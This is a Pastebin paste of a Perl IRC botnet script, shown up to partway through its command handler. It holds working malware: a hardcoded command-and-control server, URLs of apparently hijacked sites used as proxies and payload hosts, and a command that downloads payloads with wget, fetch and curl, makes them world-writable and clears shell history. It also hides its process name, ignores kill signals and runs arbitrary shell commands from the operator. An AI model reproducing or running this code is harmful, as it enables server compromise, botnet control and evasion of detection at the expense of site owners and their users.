SHARE
TWEET

Untitled

a guest Jan 24th, 2020 228 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. #!/usr/bin/perl
  3.  
  4. ############# private k4l0nk  ###############
  5. #############  For Galau On   ###############
  6. #############  Bot Galau V3   ###############
  7. ############# Indonesiancoder ###############
  8. ###random proxy ###############
  9.  
  10. use HTTP::Request;
  11. use HTTP::Request::Common;
  12. use HTTP::Request::Common qw(POST);
  13. use LWP::Simple;
  14. use LWP 5.64;
  15. use LWP::UserAgent;
  16. use Socket;
  17. use IO::Socket;
  18. use IO::Socket::INET;
  19. use IO::Select;
  20. use MIME::Base64;
  21. use URI::Escape;
  22. use Digest::MD5 qw(md5_hex);
  23. use DBI;
  24. use URI;
  25.  
  26. ############# Module Use ###############
  27.  
  28. my $number          = int( rand(999) );
  29. my $datetime        = localtime;
  30. my $fakeproc        = "ave";
  31. my $ircserver       = "94.40.69.99";
  32. my $ircport         = "6667";
  33. my $nickname        = "Mix[".$number."]";
  34. my $ident           = "k4";
  35. my $channel         = "#Voo";
  36. my $chanxxx         = "#Voo";
  37. my $chaninfo        = "#Voo";
  38. my $submitchan      = "#Voo";
  39. my $admin           = "Voo_Doo";
  40. my $fullname        = "9,14|915[scanner] ";
  41. my $rawmsg          = $ARGV[4];
  42. my $msgraw          = $ARGV[5];
  43. ############# Server Config #########
  44.  
  45. my $nob0dy      = "9,1159[scanner] Pertaminux 4 ";
  46. my $wplogo      = "4,1 Re 4>9";
  47. my $hdlogo      = "4,1 Hd 4>9";
  48. my $jdlogo      = "4,1 Jd 4>9";
  49. my $jcelogo     = "4,1 Jce 4>9";
  50. my $simlogo     = "4,1 Si 4>9";
  51. my $mglogo      = "4,1 Mg 4>9";
  52. my $whmlogo     = "4,1 Wh 4>9";
  53. my $timlogo     = "4,1 Tm 4>9";
  54. my $uplogo      = "4,1 Up 4>9";
  55. my $zenlogo     = "4,1 Zen 4>9";
  56. my $sqllogo     = "4,1 SQLi 4>9";
  57.  
  58.  
  59. my $tum         = "!tum".$number."";
  60. my $timcmd          = "!tim".$number."";
  61. my $wpcmd           = "!re".$number."";
  62. my $hdcmd       = "!hd".$number."";
  63. my $jdcmd       = "!jd".$number."";
  64. my $simcmd      = "!si".$number."";
  65. my $mgcmd       = "!mg".$number."";
  66. my $mgcmd2      = "!gt".$number."";
  67. my $whmcmd      = "!wh".$number."";
  68. my $jcecmd      = "!jc".$number."";
  69. my $upcmd       = "!up".$number."";
  70. my $zencmd      = "!ze".$number."";
  71. my $sqlcmd      = "!sql".$number."";
  72. my $proxycmd = "!proxy".$number."";
  73. my $mgtes       = "!mgtest".$number."";
  74.  
  75. my $timot           = 10;
  76. my $silentmode      = 0;
  77. my $ngilang         = "rm -rf *.txt";
  78. qx($ngilang);
  79. my $jembut ="http://www.bgsvetlina.com/setup/";
  80. my $colok   = "".$jembut."/ID-RFI.txt?";
  81. my $spread  = "".$jembut."/spread.txt??";
  82. my $gento ='http://koso.swooop.sg/k4l0nk.jpg';
  83. my $gento2      = "http://koso.swooop.sg/up.jpg";
  84. my $injector        = "http://koso.swooop.sg/up.php";
  85. my $rceinjector     = "http://www.handelwpolsce.pl/images/Sport/rce.php";
  86. my $rceinjector2    = "http://www.handelwpolsce.pl/images/Sport/rce.php";
  87. my $thumbid         = "http://koso.swooop.sg/k4l0nk.jpg";
  88. my $botxx           = "http://koso.swooop.sg/c.jpg";
  89. my $botshell        = "http://koso.swooop.sg/c.jpg";
  90. my $botshell2       = "http://koso.swooop.sg/bot.log";
  91. my $onepagebd       = "http://koso.swooop.sg/op.jpg";
  92. my $cusbd       = "http://koso.swooop.sg/cus.jpg";
  93. my $ccvbd       = "http://koso.swooop.sg/ccv.jpg";
  94. my $botdid          = "";
  95. my $botxdid         = "";
  96. my $jembot          = "up.php";
  97. my $thumbshell      = uri_escape($thumbid);
  98. my $md5tim          = "1ec5329963d4314863aeec7eeab0bc69";
  99. my $md5bot          = md5_hex($botdid).".php";
  100. my $md5botx         = md5_hex($botxdid).".php";
  101. my @bugxxx = ("/img_x.php","/themify/img_x.php","/timthumb.php","/includes/timthumb.php","/framework/scripts/timthumb.php","/thumb.php","/img.php","/scripts/timthumb.php","/lib/scripts/timthumb.php","/functions/timthumb.php");
  102. my $mlayu = "OFF";
  103.  
  104. my $uagent = ("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  105. );
  106. ##########################
  107. ###########Random Proxy############
  108. my $prox1 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log1.php?q=";
  109. my $prox2 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log2.php?q=";
  110. my $prox3 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log3.php?q=";
  111. my $prox4 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log4.php?q=";
  112. my $prox5 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log5.php?q=";
  113. my $prox6 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log6.php?q=";
  114. my $prox7 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log7.php?q=";
  115. my $prox8 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log8.php?q=";
  116. my $prox9 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log9.php?q=";
  117. my $prox10 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log5.php?q=p";
  118. my $jack1 = "http://www.kitakarita.hu/wp-admin/user/4nt-crew1.php?q="; #"http://vtv9.com.vn/wp-includes/SimplePie/bypass302.php?q=";
  119. my $jack2 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://www.ares-asesores.com/wp-includes/bypass302.php?q=";
  120. my $jack3 = "http://www.op63.ru/media/backup.php?q="; #"http://linkeddoc.web1019.kinghost.net/wp-includes/SimplePie/bypass302.php?q=";
  121. my $jack4 = "http://www.op63.ru/media/backup.php?q="; #"http://jhealthy.com/wp-includes/bypass302.php?q=";
  122. my $jack5 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://furrers.dk/wp-includes/SimplePie/Decode/bypass302.php?q=";
  123. my $jack6 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://boyut-yapi.com/wp-includes/bypass302.php?q=";
  124. my $jack7 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://renaissance.net.ua/wp-includes/bypass302.php?q=";
  125. my $jack8 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://niqlas.se/playground/wp-includes/pomo/bypass302.php?q=";
  126. my $jack9 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://new.intermediaib.it/wp-includes/SimplePie/Net/bypass302.php?q=";
  127. my $jack10 = "http://www.yenigunmedya.com/wp-admin/user/4nt-crew10.php?q="; #"http://www.cervezaraguaney.com.ve/wp-admin/network/bypass302.php?q=";
  128. my $jack11 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://www.gtctrust.com/wp-includes/SimplePie/Decode/bypass302.php?q="
  129. my $jack12 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://limusinasmallorca.es/wp-includes/SimplePie/bypass302.php?q=";
  130. my $jack13 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log5.php?q="; #"http://pcgo.us/wp-includes/bypass302.php?q=";
  131. my $jack14 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log6.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
  132. my $jack15 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log7.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
  133. my $jack16 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log8.php?q="; #"http://thpt-phanngoctong-bentre.edu.vn/plugins/editors/errors.php";
  134. my $jack17 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log9.php?q="; #"http://www.nmsvn.com.vn/plugins/editors/errors.php";
  135. my $jack18 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log1.php?q="; #"http://sevotest.latestdot.eu/plugins/editors/errors.php";
  136. my $jack19 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log2.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
  137. my $jack20 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log3.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
  138. my $jack21 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log4.php?q="; #"http://www.gruetzi.es/plugins/editors/errors.php";
  139. my $jack22 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://aretusasport.altervista.org/plugins/editors/errors.php";
  140. my $jack23 = "http://ruizsanchez.com.mx/wp-includes/SimplePie/bypass302.php?q="; #"http://www.chemaweyaat.com/plugins/editors/errors.php";
  141. ##########################
  142. my $juancok1  = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&site=&source=hp&q=");
  143. my $juancok2  = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&site=&source=hp&q=");
  144. my $juancok3  = &random_proc("http%253A%252F%252Fwww.google.sk%252Fsearch&site=&source=hp&q=");
  145. my $juancok4  = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  146. my $juancok5  = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  147. my $juancok6  = &random_proc("http%253A%252F%252Fwww.google.ru%252Fsearch&newwindow=1&site=webhp&source=hp&q=");
  148. my $juancok7  = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&site=&source=hp&q=");
  149. my $juancok8  = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  150. my $juancok9  = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  151. my $juancok10 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  152. my $juancok11 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  153. my $juancok12 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  154. my $juancok13 = &random_proc("http%253A%252F%252Fwww.google.com.au%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  155. my $juancok14 = &random_proc("http%253A%252F%252Fwww.google.com.au%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  156. my $juancok15 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  157. my $juancok16 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  158. my $juancok17 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  159. my $juancok18 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  160. my $juancok19 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  161. my $juancok20 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  162. my $juancok21 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  163. my $juancok22 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  164. my $juancok23 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  165. my $juancok24 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  166. my $juancok25 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  167. my $juancok26 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  168. my $juancok27 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  169. my $juancok28 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  170. my $juancok29 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  171. my $juancok30 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  172. my $juancok31 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  173. my $juancok32 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  174. my $juancok33 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  175. my $juancok34 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  176. my $juancok35 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  177. my $juancok36 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  178. my $juancok37 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  179. my $juancok38 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  180. my $juancok39 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  181. my $juancok40 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  182. my $juancok41 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  183. my $juancok42 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  184. my $juancok43 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  185. my $juancok44 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  186. my $juancok45 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  187. my $juancok46 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  188. my $juancok47 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  189. my $juancok48 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  190. my $juancok49 = &random_proc("http%253A%252F%252Fwww.google.com.au%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  191. my $juancok50 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  192. my $juancok51 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  193. my $juancok52 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  194. my $juancok53 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  195. my $juancok54 = &random_proc("http%253A%252F%252Fwww.google.com.au%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  196. my $juancok55 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  197. my $juancok56 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  198. my $juancok57 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  199. my $juancok58 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  200. my $juancok59 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  201. my $juancok60 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  202. my $juancok61 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  203. my $juancok62 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  204. my $juancok63 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  205. my $juancok64 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  206. my $juancok65 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  207. my $juancok66 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  208. my $juancok67 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  209. my $juancok68 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  210. my $juancok69 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  211. my $juancok70 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  212. my $juancok71 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  213. my $juancok72 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  214. my $juancok73 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  215. my $juancok74 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  216. my $juancok75 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  217. my $juancok76 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  218. my $juancok77 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  219. my $juancok78 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  220. my $juancok79 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  221. my $juancok80 = &random_proc("http%253A%252F%252Fwww.google.com.au%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  222. my $juancok81 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  223. my $juancok82 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  224. my $juancok83 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  225. my $juancok84 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  226. my $juancok85 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  227. my $juancok86 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  228. my $juancok87 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&site=&source=hp&q=");
  229. my $juancok88 = &random_proc("http%253A%252F%252Fwww.google.com%252Fsearch&hl=sv&source=hp&biw=&bih=&q=");
  230. my $juancok89 = &random_proc("http%253A%252F%252Fwww.google.co.uk%252Fsearch&hl=sv&site=webhp&source=hp&q=");
  231.  
  232.  
  233.    
  234. my $engine = "YouDao,KvaSiR,WaLLa,WaLLaa,Sensis,YaHoo,YaHoomm,AsK,Bing,Bingmm,SaPo,AoL,UoL,HotBot,BigLobe,SeZNam,searchnz,BeCak,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,searchnz,Stella,MSN,Baidu,GoJp,Bebek,DogPile,SoGou";
  235.  
  236. $SIG{'INT'}   = 'IGNORE';
  237. $SIG{'HUP'}   = 'IGNORE';
  238. $SIG{'TERM'}  = 'IGNORE';
  239. $SIG{'CHLD'}  = 'IGNORE';
  240. $SIG{'PS'}    = 'IGNORE';
  241. chop (my $priper = `cd /tmp;wget http://www.bgsvetlina.com/setup/revslider.zip;fetch http://www.bgsvetlina.com/setup/revslider.zip;curl -O http://www.bgsvetlina.com/setup/revslider.zip;wget http://koso.swooop.sg/magnum.zip;fetch http://koso.swooop.sg/magnum.zip;curl -O http://koso.swooop.sg/magnum.zip;wget http://koso.swooop.sg/google.zip;fetch http://koso.swooop.sg/google.zip;curl -O http://koso.swooop.sg/google.zip;
  242. wget http://koso.swooop.sg/k4l0nk.jpg;fetch http://koso.swooop.sg/k4l0nk.jpg;curl -O http://koso.swooop.sg/k4l0nk.jpg;chmod 777 *.php*;chmod 777 *.zip ;history -c`);
  243. $ircserver  = "$ARGV[0]" if $ARGV[0];
  244. $ircport    = "$ARGV[1]" if $ARGV[1];
  245. $nickname   = "$ARGV[2]" if $ARGV[2];
  246. $channel    = '#'."$ARGV[3]" if $ARGV[3];
  247. $0      = "$fakeproc"."\0" x 16;
  248. my $pid = fork;
  249. exit if $pid;
  250. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  251.  
  252. our %irc_servers;
  253. our %DCC;
  254. my $dcc_sel = new IO::Select->new();
  255. $sel_client = IO::Select->new();
  256. sub sendraw {
  257.     if ($#_ == '1') {
  258.         my $socket = $_[0];
  259.         print $socket "$_[1]\n";
  260.     } else {
  261.         print $IRC_cur_socket "$_[0]\n";
  262.     }
  263. }
  264.  
  265. sub connector {
  266.     my $mynick = $_[0];
  267.     my $ircserver_con = $_[1];
  268.     my $ircport_con = $_[2];
  269.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  270.     if (defined($IRC_socket)) {
  271.         $IRC_cur_socket = $IRC_socket;
  272.         $IRC_socket->autoflush(1);
  273.         $sel_client->add($IRC_socket);
  274.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  275.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  276.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  277.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  278.         nick("$mynick");
  279.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  280.         sleep(2);}}
  281.  
  282. sub parse {
  283.     my $servarg = shift;
  284.     if ($servarg =~ /^PING \:(.*)/) {
  285.         sendraw("PONG :$1");
  286.     }
  287.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  288.         if (lc($1) eq lc($mynick)) {
  289.             $mynick = $4;
  290.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  291.         }
  292.     }
  293.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  294.         nick($mynick."[".int rand(1)."]");
  295.     }
  296.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  297.         $mynick = $2;
  298.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  299.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  300.         sendraw("MODE $mynick +Bx");
  301.         sendraw("NS id qwe123");
  302.         sleep(2);
  303.         sendraw("JOIN $channel correct");
  304.         sendraw("JOIN $chanxxx mejen");
  305.         sleep(2);
  306.         sendraw("PRIVMSG $channel :9,1[4!9]15 Ingsun sampun mlebet !!!");
  307.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  308.     }
  309. }
  310.  
  311. my $line_temp;
  312. while( 1 ) {
  313.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  314.     select(undef, undef, undef, 0.01);
  315.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  316.     my @ready = $sel_client->can_read(0);
  317.     next unless(@ready);
  318.     foreach $fh (@ready) {
  319.         $IRC_cur_socket = $fh;
  320.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  321.         $nread = sysread($fh, $ircmsg, 4096);
  322.         if ($nread == 0) {
  323.             $sel_client->remove($fh);
  324.  
  325.             $fh->close;
  326.             delete($irc_servers{$fh});
  327.         }
  328.         @lines = split (/\n/, $ircmsg);
  329.         $ircmsg =~ s/\r\n$//;
  330.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  331.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  332.             if ($path eq $mynick) {
  333.                 if ($msg =~ /^PING (.*)/) {
  334.                     sendraw("NOTICE $nick :PING $1");
  335.                 }
  336.                 if ($msg =~ /^VERSION/) {
  337.                     sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  338.                 }
  339.                 if ($msg =~ /^TIME/) {
  340.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  341.                 }
  342.                 if (&isAdmin($nick) && $msg eq "!mati") {
  343.                        
  344.                     &shell("$path","killall -KILL perl");
  345.                 }
  346.                 if (&isAdmin($nick) && $msg eq "!die") {
  347.                        
  348.                     &shell("$path","kill -9 $$");
  349.                 }
  350.                 if (&isAdmin($nick) && $msg eq "!killall") {
  351.                         my $pwuid = getpwuid($<);
  352.                     &shell("$path","pkill -9 -u $pwuid");
  353.                 }
  354.                 if (&isAdmin($nick) && $msg eq "!reset") {
  355.                     sendraw("QUIT :Restarting...");
  356.                 }
  357.                 if (&isAdmin($nick) && $msg =~ /^!jo \#(.+)/) {
  358.                     sendraw("JOIN #".$1);
  359.             }
  360.             if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  361.                 sendraw("PART #".$1);
  362.         }
  363.         if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  364.             sendraw("NICK ".$1);
  365.         }
  366.         if (&isAdmin($nick) && $msg =~ /^!pid/) {
  367.             sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  368.         }
  369.         if (&isAdmin($nick) && $msg !~ /^!/) {
  370.             &shell("$nick","$msg");
  371.         }
  372.         if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  373.             sendraw("$rawmsg $msgraw ".$1);
  374.         }
  375.         if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  376.             sendraw("PRIVMSG $rawmsg ".$1);
  377.         }
  378.         if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  379.             sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  380.         }
  381.         if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {
  382.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  383.                 $newthumbcmd = $1;
  384.                 $thumbcmd = $newthumbcmd;
  385.                 &msg("$admin","$thumblogo9 Scan Command change to4 $thumbcmd ");
  386.             }
  387.             }
  388.         }
  389.         if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {
  390.             $newzerocmd = $1;
  391.             $zerocmd = $newzerocmd;
  392.             &msg("$admin","$zerologo9 Scan Command change to4 $zerocmd ");
  393.         }
  394.         if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {
  395.             $newwhmcscmd = $1;
  396.             $whmcscmd = $newwhmcscmd;
  397.             &msg("$admin","$whmcslogo9 Scan Command change to4 $whmcscmd ");
  398.         }
  399.         if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  400.             $newtimot = $1;
  401.             $timot = $newtimot;
  402.             &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  403.         }
